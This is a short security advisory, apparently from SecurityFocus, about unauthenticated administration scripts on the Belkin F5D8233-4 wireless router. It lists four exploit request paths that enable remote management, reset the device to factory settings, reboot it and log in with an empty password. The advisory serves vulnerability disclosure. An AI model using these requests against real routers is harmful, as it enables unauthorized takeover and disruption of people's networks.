source: https://www.securityfocus.com/bid/32275/info

The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.

Attackers can exploit these issues to perform administrative functions without authorization.

Belkin F5D8233-4 is vulnerable; other devices may also be affected. 

Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=